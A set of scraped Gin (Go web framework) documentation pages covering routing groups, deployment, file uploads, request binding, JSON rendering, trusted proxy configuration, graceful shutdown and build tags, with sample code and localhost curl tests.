----
url: https://gin-gonic.com/en/docs/routing/grouping-routes/
----

[Skip to content](#_top)

# Grouping routes

Route groups let you organize related routes under a shared URL prefix. This is useful for:

* **API versioning** – group all v1 endpoints under `/v1` and v2 endpoints under `/v2`.
* **Shared middleware** – apply authentication, logging, or rate-limiting to an entire set of routes at once instead of attaching middleware to every route individually.
* **Code organization** – keep related handlers visually grouped in your source code.

### Basic grouping

[Section titled “Basic grouping”](#basic-grouping)

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func loginEndpoint(c *gin.Context) {
  c.JSON(http.StatusOK, gin.H{"action": "login"})
}


func submitEndpoint(c *gin.Context) {
  c.JSON(http.StatusOK, gin.H{"action": "submit"})
}


func readEndpoint(c *gin.Context) {
  c.JSON(http.StatusOK, gin.H{"action": "read"})
}


func main() {
  router := gin.Default()


  // Simple group: v1
  {
    v1 := router.Group("/v1")
    v1.POST("/login", loginEndpoint)
    v1.POST("/submit", submitEndpoint)
    v1.POST("/read", readEndpoint)
  }


  // Simple group: v2
  {
    v2 := router.Group("/v2")
    v2.POST("/login", loginEndpoint)
    v2.POST("/submit", submitEndpoint)
    v2.POST("/read", readEndpoint)
  }


  router.Run(":8080")
}
```

### Applying middleware to a group

[Section titled “Applying middleware to a group”](#applying-middleware-to-a-group)

You can pass middleware to `router.Group()` or call `Use()` on a group. Every route in that group will run the middleware before its handler.

```
// AuthRequired is a placeholder for your auth middleware.
func AuthRequired() gin.HandlerFunc {
  return func(c *gin.Context) {
    // ... check token, session, etc.
    c.Next()
  }
}


func main() {
  router := gin.Default()


  // Public routes -- no auth required
  public := router.Group("/api")
  {
    public.GET("/health", healthCheck)
  }


  // Private routes -- auth middleware applied to the whole group
  private := router.Group("/api")
  private.Use(AuthRequired())
  {
    private.GET("/profile", getProfile)
    private.POST("/settings", updateSettings)
  }


  router.Run(":8080")
}
```

### Nested groups

[Section titled “Nested groups”](#nested-groups)

Groups can be nested to build deeper URL hierarchies while keeping middleware scoped appropriately.

/api

```
func main() {
  router := gin.Default()


  api := router.Group("/api")
  {
    // /api/v1
    v1 := api.Group("/v1")
    {
      // /api/v1/users
      users := v1.Group("/users")
      users.GET("/", listUsers)
      users.GET("/:id", getUser)


      // /api/v1/posts
      posts := v1.Group("/posts")
      posts.GET("/", listPosts)
      posts.GET("/:id", getPost)
    }
  }


  router.Run(":8080")
}
```

Each level inherits the prefix of its parent, so the final routes become `/api/v1/users/`, `/api/v1/users/:id`, and so on.

----
url: https://gin-gonic.com/en/docs/deployment/
----

[Skip to content](#_top)

# Deployment

Gin projects can be deployed easily on any cloud provider.

## [Railway](https://www.railway.com)

[Section titled “Railway”](#railway)

Railway is a cutting-edge cloud development platform for deploying, managing, and scaling applications and services. It simplifies your infrastructure stack from servers to observability with a single, scalable, easy-to-use platform.

Follow the Railway [guide to deploy your Gin projects](https://docs.railway.com/guides/gin).

## [Seenode](https://seenode.com)

[Section titled “Seenode”](#seenode)

Seenode is a modern cloud platform designed specifically for developers who want to deploy applications quickly and efficiently. It offers git-based deployment, automatic SSL certificates, built-in databases, and a streamlined interface that gets your Gin applications live in minutes.

Follow the Seenode [guide to deploy your Gin projects](https://seenode.com/docs/frameworks/go/gin).

## [Koyeb](https://www.koyeb.com)

[Section titled “Koyeb”](#koyeb)

Koyeb is a developer-friendly serverless platform to deploy apps globally with git-based deployment, TLS encryption, native autoscaling, a global edge network, and built-in service mesh & discovery.

Follow the Koyeb [guide to deploy your Gin projects](https://www.koyeb.com/tutorials/deploy-go-gin-on-koyeb).

## [Qovery](https://www.qovery.com)

[Section titled “Qovery”](#qovery)

Qovery provides free Cloud hosting with databases, SSL, a global CDN, and automatic deploys with Git.

See [Qovery](https://hub.qovery.com/guides/getting-started/deploy-your-first-application/) for more information.

## [Render](https://render.com)

[Section titled “Render”](#render)

Render is a modern cloud platform that offers native support for Go, fully managed SSL, databases, zero-downtime deploys, HTTP/2, and websocket support.

Follow the Render [guide to deploying Gin projects](https://render.com/docs/deploy-go-gin).

## [Google App Engine](https://cloud.google.com/appengine/)

[Section titled “Google App Engine”](#google-app-engine)

GAE has two ways to deploy Go applications. The standard environment is easier to use but less customizable and prevents [syscalls](https://github.com/gin-gonic/gin/issues/1639) for security reasons. The flexible environment can run any framework or library.

Learn more and pick your preferred environment at [Go on Google App Engine](https://cloud.google.com/appengine/docs/go/).

## Self Hosted

[Section titled “Self Hosted”](#self-hosted)

Gin projects can also be deployed in a self-hosted manner. Deployment architecture and security considerations vary depending on the target environment. The following section only presents a high level overview of configuration options to consider when planning the deployment.

## Configuration Options

[Section titled “Configuration Options”](#configuration-options)

Gin project deployments can be tuned by using environment variables or directly in code.

The following environment variables are available for configuring Gin:

| Environment Variable | Description                                                                                                                                                                                                   |
| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| PORT                 | The TCP port to listen on when starting the Gin server with `router.Run()` (i.e. without any arguments).                                                                                                      |
| GIN\_MODE            | Set to one of `debug`, `release`, or `test`. Handles management of Gin modes, such as when to emit debug outputs. Can also be set in code using `gin.SetMode(gin.ReleaseMode)` or `gin.SetMode(gin.TestMode)` |

The following code can be used to configure Gin.

```
// Don't specify the bind address or port for Gin. Defaults to binding on all interfaces on port 8080.
// Can use the `PORT` environment variable to change the listen port when using `Run()` without any arguments.
router := gin.Default()
router.Run()


// Specify the bind address and port for Gin.
router := gin.Default()
router.Run("192.168.1.100:8080")


// Specify only the listen port. Will bind on all interfaces.
router := gin.Default()
router.Run(":8080")


// Set which IP addresses or CIDRs, are considered to be trusted for setting headers to document real client IP addresses.
// See the documentation for additional details.
router := gin.Default()
router.SetTrustedProxies([]string{"192.168.1.2"})
```

For information on configuring trusted proxies, see [Trusted Proxies](/en/docs/server-config/trusted-proxies/).

----
url: https://gin-gonic.com/en/docs/rendering/serving-static-files/
----

[Skip to content](#_top)

# Serving static files

Gin provides three methods for serving static content:

* **`router.Static(relativePath, root)`** — Serves an entire directory. Requests to `relativePath` are mapped to files under `root`. For example, `router.Static("/assets", "./assets")` serves `./assets/style.css` at `/assets/style.css`.
* **`router.StaticFS(relativePath, fs)`** — Like `Static`, but accepts an `http.FileSystem` interface, giving you more control over how files are resolved. Use this when you need to serve files from an embedded filesystem or want to customize directory listing behavior.
* **`router.StaticFile(relativePath, filePath)`** — Serves a single file. Useful for endpoints like `/favicon.ico` or `/robots.txt`.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()
  router.Static("/assets", "./assets")
  router.StaticFS("/more_static", http.Dir("my_file_system"))
  router.StaticFile("/favicon.ico", "./resources/favicon.ico")


  // Listen and serve on 0.0.0.0:8080
  router.Run(":8080")
}
```

----
url: https://gin-gonic.com/en/docs/logging/skip-logging/
----

[Skip to content](#_top)

# Skip logging

You can skip logging for specific paths or based on custom logic using `LoggerConfig`.

* `SkipPaths` excludes specific routes from logging — useful for health checks or metrics endpoints that generate noise.
* `Skip` is a function that receives the `*gin.Context` and returns `true` to skip logging — useful for conditional logic like skipping successful responses.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.New()


  // skip logging for desired paths by setting SkipPaths in LoggerConfig
  loggerConfig := gin.LoggerConfig{SkipPaths: []string{"/metrics"}}


  // skip logging based on your logic by setting Skip func in LoggerConfig
  loggerConfig.Skip = func(c *gin.Context) bool {
    // as an example skip non server side errors
    return c.Writer.Status() < http.StatusInternalServerError
  }


  router.Use(gin.LoggerWithConfig(loggerConfig))
  router.Use(gin.Recovery())


  // skipped -- path is in SkipPaths
  router.GET("/metrics", func(c *gin.Context) {
    c.Status(http.StatusNotImplemented)
  })


  // skipped -- status < 500
  router.GET("/ping", func(c *gin.Context) {
    c.String(http.StatusOK, "pong")
  })


  // not skipped -- status is 501 (>= 500)
  router.GET("/data", func(c *gin.Context) {
    c.Status(http.StatusNotImplemented)
  })


  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
# This request is logged (status 501 >= 500)
curl http://localhost:8080/data


# This request is NOT logged (path in SkipPaths)
curl http://localhost:8080/metrics


# This request is NOT logged (status 200 < 500)
curl http://localhost:8080/ping
# Output: pong
```

## See also

[Section titled “See also”](#see-also)

* [Custom log format](/en/docs/logging/custom-log-format/)
* [Write log](/en/docs/logging/write-log/)

----
url: https://gin-gonic.com/en/docs/rendering/bind-single-binary-with-template/
----

[Skip to content](#_top)

# Build a single binary with templates

## Using `//go:embed` (recommended)

[Section titled “Using //go:embed (recommended)”](#using-goembed-recommended)

Since Go 1.16, the standard library supports embedding files directly into the binary with the `//go:embed` directive. No third-party dependencies are needed.

```
package main


import (
  "embed"
  "html/template"
  "net/http"


  "github.com/gin-gonic/gin"
)


//go:embed templates/*
var templateFS embed.FS


func main() {
  router := gin.Default()


  t := template.Must(template.ParseFS(templateFS, "templates/*.tmpl"))
  router.SetHTMLTemplate(t)


  router.GET("/", func(c *gin.Context) {
    c.HTML(http.StatusOK, "index.tmpl", nil)
  })


  router.Run(":8080")
}
```

## Using a third-party package

[Section titled “Using a third-party package”](#using-a-third-party-package)

You can also use a third-party package such as [go-assets](https://github.com/jessevdk/go-assets) to embed templates into the binary.

```
func main() {
  router := gin.New()


  t, err := loadTemplate()
  if err != nil {
    panic(err)
  }
  router.SetHTMLTemplate(t)


  router.GET("/", func(c *gin.Context) {
    c.HTML(http.StatusOK, "/html/index.tmpl", nil)
  })
  router.Run(":8080")
}


// loadTemplate loads templates embedded by go-assets-builder
func loadTemplate() (*template.Template, error) {
  t := template.New("")
  for name, file := range Assets.Files {
    if file.IsDir() || !strings.HasSuffix(name, ".tmpl") {
      continue
    }
    h, err := io.ReadAll(file)
    if err != nil {
      return nil, err
    }
    t, err = t.New(name).Parse(string(h))
    if err != nil {
      return nil, err
    }
  }
  return t, nil
}
```

See a complete example in the [assets-in-binary/example01](https://github.com/gin-gonic/examples/tree/master/assets-in-binary/example01) directory.

----
url: https://gin-gonic.com/en/docs/routing/upload-file/single-file/
----

[Skip to content](#_top)

# Single file

Use `c.FormFile` to receive a single uploaded file from a `multipart/form-data` request, then `c.SaveUploadedFile` to save it to disk.

You can control the maximum memory used during multipart parsing by setting `router.MaxMultipartMemory` (default is 32 MiB). Files larger than this limit are stored in temporary files on disk instead of memory.

```
package main


import (
  "fmt"
  "log"
  "net/http"
  "path/filepath"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()
  // Set a lower memory limit for multipart forms (default is 32 MiB)
  router.MaxMultipartMemory = 8 << 20 // 8 MiB


  router.POST("/upload", func(c *gin.Context) {
    // single file
    file, err := c.FormFile("file")
    if err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }
    log.Println(file.Filename)


    // Upload the file to specific dst.
    dst := filepath.Join("./files/", filepath.Base(file.Filename))
    c.SaveUploadedFile(file, dst)


    c.String(http.StatusOK, fmt.Sprintf("'%s' uploaded!", file.Filename))
  })


  router.Run(":8080")
}
```

## Test it

[Section titled “Test it”](#test-it)

Terminal window

```
curl -X POST http://localhost:8080/upload \
  -F "file=@/path/to/your/file.zip" \
  -H "Content-Type: multipart/form-data"
# Output: 'file.zip' uploaded!
```

## See also

[Section titled “See also”](#see-also)

* [Multiple files](/en/docs/routing/upload-file/multiple-file/)
* [Limit upload size](/en/docs/routing/upload-file/limit-bytes/)

----
url: https://gin-gonic.com/en/docs/binding/binding-and-validation/
----

[Skip to content](#_top)

# Model binding and validation

To bind a request body into a type, use model binding. We currently support binding of JSON, XML, YAML and standard form values (foo=bar\&boo=baz).

Gin uses [**go-playground/validator/v10**](https://github.com/go-playground/validator) for validation. Check the full docs on tags usage [here](https://pkg.go.dev/github.com/go-playground/validator/v10#hdr-Baked_In_Validators_and_Tags).

Note that you need to set the corresponding binding tag on all fields you want to bind. For example, when binding from JSON, set `json:"fieldname"`.

Also, Gin provides two sets of methods for binding:

* **Type** - Must bind

  * **Methods** - `Bind`, `BindJSON`, `BindXML`, `BindQuery`, `BindYAML`
  * **Behavior** - These methods use `MustBindWith` under the hood. If there is a binding error, the request is aborted with `c.AbortWithError(400, err).SetType(ErrorTypeBind)`. This sets the response status code to 400 and the `Content-Type` header is set to `text/plain; charset=utf-8`. Note that if you try to set the response code after this, it will result in a warning `[GIN-debug] [WARNING] Headers were already written. Wanted to override status code 400 with 422`. If you wish to have greater control over the behavior, consider using the `ShouldBind` equivalent method.

* **Type** - Should bind

  * **Methods** - `ShouldBind`, `ShouldBindJSON`, `ShouldBindXML`, `ShouldBindQuery`, `ShouldBindYAML`
  * **Behavior** - These methods use `ShouldBindWith` under the hood. If there is a binding error, the error is returned and it is the developer’s responsibility to handle the request and error appropriately.

When using the Bind-method, Gin tries to infer the binder depending on the Content-Type header. If you are sure what you are binding, you can use `MustBindWith` or `ShouldBindWith`.

You can also specify that specific fields are required. If a field is decorated with `binding:"required"` and has a empty value when binding, an error will be returned.

If one of the struct fields is itself a struct (nested struct) the fields of that struct will also need to be decorated with `binding:"required"` in order to validate correctly.

```
// Binding from JSON
type Login struct {
  User     string `form:"user" json:"user" xml:"user"  binding:"required"`
  Password string `form:"password" json:"password" xml:"password" binding:"required"`
}


func main() {
  router := gin.Default()


  // Example for binding JSON ({"user": "manu", "password": "123"})
  router.POST("/loginJSON", func(c *gin.Context) {
    var json Login
    if err := c.ShouldBindJSON(&json); err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }


    if json.User != "manu" || json.Password != "123" {
      c.JSON(http.StatusUnauthorized, gin.H{"status": "unauthorized"})
      return
    }


    c.JSON(http.StatusOK, gin.H{"status": "you are logged in"})
  })


  // Example for binding XML (
  //  <?xml version="1.0" encoding="UTF-8"?>
  //  <root>
  //    <user>manu</user>
  //    <password>123</password>
  //  </root>)
  router.POST("/loginXML", func(c *gin.Context) {
    var xml Login
    if err := c.ShouldBindXML(&xml); err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }


    if xml.User != "manu" || xml.Password != "123" {
      c.JSON(http.StatusUnauthorized, gin.H{"status": "unauthorized"})
      return
    }


    c.JSON(http.StatusOK, gin.H{"status": "you are logged in"})
  })


  // Example for binding a HTML form (user=manu&password=123)
  router.POST("/loginForm", func(c *gin.Context) {
    var form Login
    // This will infer what binder to use depending on the content-type header.
    if err := c.ShouldBind(&form); err != nil {
      c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
      return
    }


    if form.User != "manu" || form.Password != "123" {
      c.JSON(http.StatusUnauthorized, gin.H{"status": "unauthorized"})
      return
    }


    c.JSON(http.StatusOK, gin.H{"status": "you are logged in"})
  })


  // Listen and serve on 0.0.0.0:8080
  router.Run(":8080")
}
```

### Sample request

[Section titled “Sample request”](#sample-request)

Terminal window

```
$ curl -v -X POST \
  http://localhost:8080/loginJSON \
  -H 'content-type: application/json' \
  -d '{ "user": "manu" }'
> POST /loginJSON HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.51.0
> Accept: */*
> content-type: application/json
> Content-Length: 18
>
* upload completely sent off: 18 out of 18 bytes
< HTTP/1.1 400 Bad Request
< Content-Type: application/json; charset=utf-8
< Date: Fri, 04 Aug 2017 03:51:31 GMT
< Content-Length: 100
<
{"error":"Key: 'Login.Password' Error:Field validation for 'Password' failed on the 'required' tag"}
```

### Skip validate

[Section titled “Skip validate”](#skip-validate)

When running the above example using the above the `curl` command, it returns error. Because the example use `binding:"required"` for `Password`. If use `binding:"-"` for `Password`, then it will not return error when running the above example again.

## See also

[Section titled “See also”](#see-also)

* [Custom validators](/en/docs/binding/custom-validators/)
* [Bind query or post data](/en/docs/binding/bind-query-or-post/)

----
url: https://gin-gonic.com/en/docs/binding/bind-custom-unmarshaler/
----

[Skip to content](#_top)

# Bind custom unmarshaler

To override Gin’s default binding logic, define a function on your type that satisfies the `encoding.TextUnmarshaler` interface from the Go standard library. Then specify `parser=encoding.TextUnmarshaler` in the `uri`/`form` tag of the field being bound.

```
package main


import (
  "encoding"
  "strings"


  "github.com/gin-gonic/gin"
)


type Birthday string


func (b *Birthday) UnmarshalText(text []byte) error {
  *b = Birthday(strings.Replace(string(text), "-", "/", -1))
  return nil
}


var _ encoding.TextUnmarshaler = (*Birthday)(nil)


func main() {
  route := gin.Default()
  var request struct {
    Birthday         Birthday   `form:"birthday,parser=encoding.TextUnmarshaler"`
    Birthdays        []Birthday `form:"birthdays,parser=encoding.TextUnmarshaler" collection_format:"csv"`
    BirthdaysDefault []Birthday `form:"birthdaysDef,default=2020-09-01;2020-09-02,parser=encoding.TextUnmarshaler" collection_format:"csv"`
  }
  route.GET("/test", func(ctx *gin.Context) {
    _ = ctx.BindQuery(&request)
    ctx.JSON(200, request)
  })
  _ = route.Run(":8088")
}
```

Test it with:

Terminal window

```
curl 'localhost:8088/test?birthday=2000-01-01&birthdays=2000-01-01,2000-01-02'
```

Result:

Terminal window

```
{"Birthday":"2000/01/01","Birthdays":["2000/01/01","2000/01/02"],"BirthdaysDefault":["2020/09/01","2020/09/02"]}
```

> **Note:** If `parser=encoding.TextUnmarshaler` is specified for a type that does **not** implement `encoding.TextUnmarshaler`, Gin will ignore it and proceed with its default binding logic.

### Using BindUnmarshaler

[Section titled “Using BindUnmarshaler”](#using-bindunmarshaler)

If a type already implements `encoding.TextUnmarshaler` but you want to customize how Gin binds the type differently (e.g., to change what error message is returned), you can implement the dedicated `BindUnmarshaler` interface instead.

```
package main


import (
  "strings"


  "github.com/gin-gonic/gin"
  "github.com/gin-gonic/gin/binding"
)


type Birthday string


func (b *Birthday) UnmarshalParam(param string) error {
  *b = Birthday(strings.Replace(param, "-", "/", -1))
  return nil
}


var _ binding.BindUnmarshaler = (*Birthday)(nil)


func main() {
  route := gin.Default()
  var request struct {
    Birthday         Birthday   `form:"birthday"`
    Birthdays        []Birthday `form:"birthdays" collection_format:"csv"`
    BirthdaysDefault []Birthday `form:"birthdaysDef,default=2020-09-01;2020-09-02" collection_format:"csv"`
  }
  route.GET("/test", func(ctx *gin.Context) {
    _ = ctx.BindQuery(&request)
    ctx.JSON(200, request)
  })
  _ = route.Run(":8088")
}
```

> **Note:** If a type implements both `encoding.TextUnmarshaler` and `BindUnmarshaler`, Gin will use `BindUnmarshaler` by default unless you specify `parser=encoding.TextUnmarshaler` in the binding tag.

----
url: https://gin-gonic.com/en/docs/rendering/ascii-json/
----

[Skip to content](#_top)

# AsciiJSON

`AsciiJSON` serializes data to JSON but escapes all non-ASCII characters into `\uXXXX` Unicode escape sequences. HTML-special characters like `<` and `>` are also escaped. The result is a response body that contains only 7-bit ASCII characters.

**When to use AsciiJSON:**

* Your API consumers require strictly ASCII-safe responses (for example, systems that cannot handle UTF-8 encoded bytes).
* You need to embed JSON inside contexts that only support ASCII, such as certain logging systems or legacy transports.
* You want to ensure that characters like `<`, `>`, and `&` are escaped to avoid injection issues when JSON is embedded in HTML.

For most modern APIs, standard `c.JSON()` is sufficient since it outputs valid UTF-8. Use `AsciiJSON` only when ASCII safety is a specific requirement.

```
package main


import (
  "net/http"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()


  router.GET("/someJSON", func(c *gin.Context) {
    data := map[string]interface{}{
      "lang": "GO语言",
      "tag":  "<br>",
    }


    // will output : {"lang":"GO\u8bed\u8a00","tag":"\u003cbr\u003e"}
    c.AsciiJSON(http.StatusOK, data)
  })


  // Listen and serve on 0.0.0.0:8080
  router.Run(":8080")
}
```

You can test this endpoint with curl:

Terminal window

```
curl http://localhost:8080/someJSON
# Output: {"lang":"GO\u8bed\u8a00","tag":"\u003cbr\u003e"}
```

Notice that the Chinese characters `语言` are replaced with `\u8bed\u8a00`, and the `<br>` tag becomes `\u003cbr\u003e`. The response body is safe to consume in any ASCII-only environment.

----
url: https://gin-gonic.com/en/docs/server-config/trusted-proxies/
----

[Skip to content](#_top)

# Trusted proxies

Gin lets you specify which headers to hold the real client IP (if any), as well as specifying which proxies (or direct clients) you trust to specify one of these headers.

### Why trusted proxy configuration matters

[Section titled “Why trusted proxy configuration matters”](#why-trusted-proxy-configuration-matters)

When your application sits behind a reverse proxy (Nginx, HAProxy, a cloud load balancer, etc.), the proxy forwards the original client’s IP address in headers like `X-Forwarded-For` or `X-Real-Ip`. The problem is that **any client can set these headers**. Without proper trusted proxy configuration, an attacker can forge `X-Forwarded-For` to:

* **Bypass IP-based access controls** – If your application restricts certain routes to an internal IP range (e.g., `10.0.0.0/8`), an attacker can send `X-Forwarded-For: 10.0.0.1` from a public IP and bypass the restriction entirely.
* **Poison logs and audit trails** – Forged IPs make incident investigation unreliable because you can no longer trace requests back to the real source.
* **Evade rate limiting** – If rate limiting is keyed on `ClientIP()`, each request can claim a different IP address to avoid being throttled.

`SetTrustedProxies` solves this by telling Gin which network addresses are legitimate proxies. When `ClientIP()` parses the `X-Forwarded-For` chain, it only trusts entries added by those proxies and discards anything a client may have prepended. If a request arrives directly (not from a trusted proxy), the forwarding headers are ignored entirely and the raw remote address is used.

Use function `SetTrustedProxies()` on your `gin.Engine` to specify network addresses or network CIDRs from where clients which their request headers related to client IP can be trusted. They can be IPv4 addresses, IPv4 CIDRs, IPv6 addresses or IPv6 CIDRs.

**Attention:** Gin trusts all proxies by default if you don’t specify a trusted proxy using the function above, **this is NOT safe**. At the same time, if you don’t use any proxy, you can disable this feature by using `Engine.SetTrustedProxies(nil)`, then `Context.ClientIP()` will return the remote address directly to avoid some unnecessary computation.

```
import (
  "fmt"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()
  router.SetTrustedProxies([]string{"192.168.1.2"})


  router.GET("/", func(c *gin.Context) {
    // If the client is 192.168.1.2, use the X-Forwarded-For
    // header to deduce the original client IP from the trust-
    // worthy parts of that header.
    // Otherwise, simply return the direct client IP
    fmt.Printf("ClientIP: %s\n", c.ClientIP())
  })
  router.Run()
}
```

**Notice:** If you are using a CDN service, you can set the `Engine.TrustedPlatform` to skip TrustedProxies check, it has a higher priority than TrustedProxies. Look at the example below:

```
import (
  "fmt"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()
  // Use predefined header gin.PlatformXXX
  // Google App Engine
  router.TrustedPlatform = gin.PlatformGoogleAppEngine
  // Cloudflare
  router.TrustedPlatform = gin.PlatformCloudflare
  // Fly.io
  router.TrustedPlatform = gin.PlatformFlyIO
  // Or, you can set your own trusted request header. But be sure your CDN
  // prevents users from passing this header! For example, if your CDN puts
  // the client IP in X-CDN-Client-IP:
  router.TrustedPlatform = "X-CDN-Client-IP"


  router.GET("/", func(c *gin.Context) {
    // If you set TrustedPlatform, ClientIP() will resolve the
    // corresponding header and return IP directly
    fmt.Printf("ClientIP: %s\n", c.ClientIP())
  })
  router.Run()
}
```

----
url: https://gin-gonic.com/en/docs/server-config/graceful-restart-or-stop/
----

[Skip to content](#_top)

# Graceful restart or stop

When a server process receives a termination signal (e.g., during a deployment or scaling event), an immediate shutdown drops all in-flight requests, leaving clients with broken connections and potentially corrupted operations. A **graceful shutdown** solves this by:

* **Completing in-flight requests** – Requests that are already being processed are given time to finish, so clients receive proper responses instead of connection resets.
* **Draining connections** – The server stops accepting new connections while existing ones are allowed to complete, preventing a sudden cut-off.
* **Cleaning up resources** – Open database connections, file handles, and background workers are closed properly, avoiding data corruption or resource leaks.
* **Enabling zero-downtime deployments** – When combined with a load balancer, graceful shutdown lets you roll out new versions without any user-visible errors.

There are several ways to achieve this in Go.

We can use [fvbock/endless](https://github.com/fvbock/endless) to replace the default `ListenAndServe`. Refer issue [#296](https://github.com/gin-gonic/gin/issues/296) for more details.

\[...]

```
router := gin.Default()
router.GET("/", handler)
endless.ListenAndServe(":4242", router)
```

An alternative to endless:

* [manners](https://github.com/braintree/manners): A polite Go HTTP server that shuts down gracefully.
* [graceful](https://github.com/tylerb/graceful): Graceful is a Go package enabling graceful shutdown of an http.Handler server.
* [grace](https://github.com/facebookgo/grace): Graceful restart & zero downtime deploy for Go servers.

If you are using Go 1.8 and later, you may not need to use this library! Consider using `http.Server`’s built-in [Shutdown()](https://golang.org/pkg/net/http/#Server.Shutdown) method for graceful shutdowns. See the full [graceful-shutdown](https://github.com/gin-gonic/examples/tree/master/graceful-shutdown) example with gin.

```
//go:build go1.8
// +build go1.8


package main


import (
  "context"
  "log"
  "net/http"
  "os"
  "os/signal"
  "syscall"
  "time"


  "github.com/gin-gonic/gin"
)


func main() {
  router := gin.Default()
  router.GET("/", func(c *gin.Context) {
    time.Sleep(5 * time.Second)
    c.String(http.StatusOK, "Welcome Gin Server")
  })


  srv := &http.Server{
    Addr:    ":8080",
    Handler: router.Handler(),
  }


  go func() {
    // service connections
    if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
      log.Fatalf("listen: %s\n", err)
    }
  }()


  // Wait for interrupt signal to gracefully shutdown the server with
  // a timeout of 5 seconds.
  quit := make(chan os.Signal, 1)
  // kill (no params) by default sends syscall.SIGTERM
  // kill -2 is syscall.SIGINT
  // kill -9 is syscall.SIGKILL but can't be caught, so don't need add it
  signal.Notify(quit, syscall.SIGINT, syscall.SIGTERM)
  <-quit
  log.Println("Shutdown Server ...")


  ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
  defer cancel()
  if err := srv.Shutdown(ctx); err != nil {
    log.Println("Server Shutdown:", err)
  }
  log.Println("Server exiting")
}
```

----
url: https://gin-gonic.com/en/docs/build-tags/
----

[Skip to content](#_top)

# Build Tags

Go [build tags](https://pkg.go.dev/go/build#hdr-Build_Constraints) (also called build constraints) are directives that tell the Go compiler to include or exclude files during compilation. Gin uses build tags to let you swap out internal implementations or disable optional features at compile time, without changing any application code.

This is useful in several scenarios:

* **Performance optimization** – Replace the default `encoding/json` package with a faster third-party encoder to speed up JSON serialization in your API.
* **Binary size reduction** – Strip out features you do not use, such as MsgPack rendering, to produce a smaller compiled binary.
* **Deployment tuning** – Choose different encoders for different environments (e.g., a high-throughput production build vs. a standard development build).

Build tags are passed to the Go toolchain with the `-tags` flag:

Terminal window

```
go build -tags=<tag_name> .
```

You can combine multiple tags by separating them with commas:

Terminal window

```
go build -tags=nomsgpack,go_json .
```

### Available build tags

[Section titled “Available build tags”](#available-build-tags)

| Tag         | Effect                                                                                                    |
| ----------- | --------------------------------------------------------------------------------------------------------- |
| `go_json`   | Replaces `encoding/json` with [go-json](https://github.com/goccy/go-json)                                 |
| `jsoniter`  | Replaces `encoding/json` with [jsoniter](https://github.com/json-iterator/go)                             |
| `sonic avx` | Replaces `encoding/json` with [sonic](https://github.com/bytedance/sonic) (requires AVX CPU instructions) |
| `nomsgpack` | Disables MsgPack rendering support                                                                        |

## In this section

[Section titled “In this section”](#in-this-section)

The pages below cover each build tag in detail:

* [**Build with JSON replacement**](./json-replacement/) – Replace the default JSON encoder with go-json, jsoniter, or sonic for faster serialization.
* [**Build without MsgPack**](./nomsgpack/) – Disable MsgPack rendering with the `nomsgpack` build tag to reduce binary size.

----
url: https://gin-gonic.com/en/docs/build-tags/json-replacement/
----

[Skip to content](#_top)

# Build with JSON replacement

Gin uses the standard library `encoding/json` package for JSON serialization and deserialization by default. The standard library encoder is well-tested and fully compatible, but it is not the fastest option available. If JSON performance is a bottleneck in your application – for example, in high-throughput APIs that serialize large response payloads – you can swap in a faster drop-in replacement at build time using build tags. No code changes are required.

## Available replacements

[Section titled “Available replacements”](#available-replacements)

Gin supports three alternative JSON encoders. Each one implements the same interface that Gin expects, so your handlers, middleware, and binding logic continue to work without modification.

### go-json

[Section titled “go-json”](#go-json)

[go-json](https://github.com/goccy/go-json) is a pure-Go JSON encoder that offers significant performance improvements over `encoding/json` while maintaining full compatibility. It works on all platforms and architectures.

Terminal window

```
go build -tags=go_json .
```

### jsoniter

[Section titled “jsoniter”](#jsoniter)

[jsoniter](https://github.com/json-iterator/go) (json-iterator) is another pure-Go, high-performance JSON library. It is API-compatible with `encoding/json` and provides a flexible configuration system for advanced use cases.

Terminal window

```
go build -tags=jsoniter .
```

### sonic

[Section titled “sonic”](#sonic)

[sonic](https://github.com/bytedance/sonic) is a blazing-fast JSON encoder developed by ByteDance. It uses JIT compilation and SIMD instructions to achieve maximum throughput, making it the fastest option among the three.

Terminal window

```
go build -tags="sonic avx" .
```

## Choosing a replacement

[Section titled “Choosing a replacement”](#choosing-a-replacement)

| Encoder                   | Platform support      | Key strength                               |
| ------------------------- | --------------------- | ------------------------------------------ |
| `encoding/json` (default) | All                   | Maximum compatibility, no extra dependency |
| go-json                   | All                   | Good speedup, pure Go, broad compatibility |
| jsoniter                  | All                   | Good speedup, flexible configuration       |
| sonic                     | x86\_64 with AVX only | Highest throughput via JIT and SIMD        |

For most applications, **go-json** is a safe and effective choice – it works everywhere and provides meaningful performance gains. Choose **sonic** when you need maximum JSON throughput and your servers run on x86\_64 hardware. Choose **jsoniter** if you need its specific configuration features or are already using it elsewhere in your codebase.

## Verifying the replacement

[Section titled “Verifying the replacement”](#verifying-the-replacement)

You can confirm that the replacement is active by comparing serialization performance with a simple benchmark, or by checking the binary’s symbol table:

Terminal window

```
# Build with go-json
go build -tags=go_json -o myapp .


# Check that go-json symbols are present
go tool nm myapp | grep goccy
```

The build tag also works with other Go commands:

Terminal window

```
go run -tags=go_json .
go test -tags=go_json ./...
```

----
url: https://gin-gonic.com/en/docs/rendering/jsonp/
----

[Skip to content](#_top)

# JSONP

JSONP (JSON with Padding) is a technique for making cross-domain requests from browsers that predate CORS support. It works by wrapping a JSON response in a JavaScript function call. The browser loads the response via a `<script>` tag, which is not subject to the same-origin policy, and the wrapping function executes with the data as its argument.

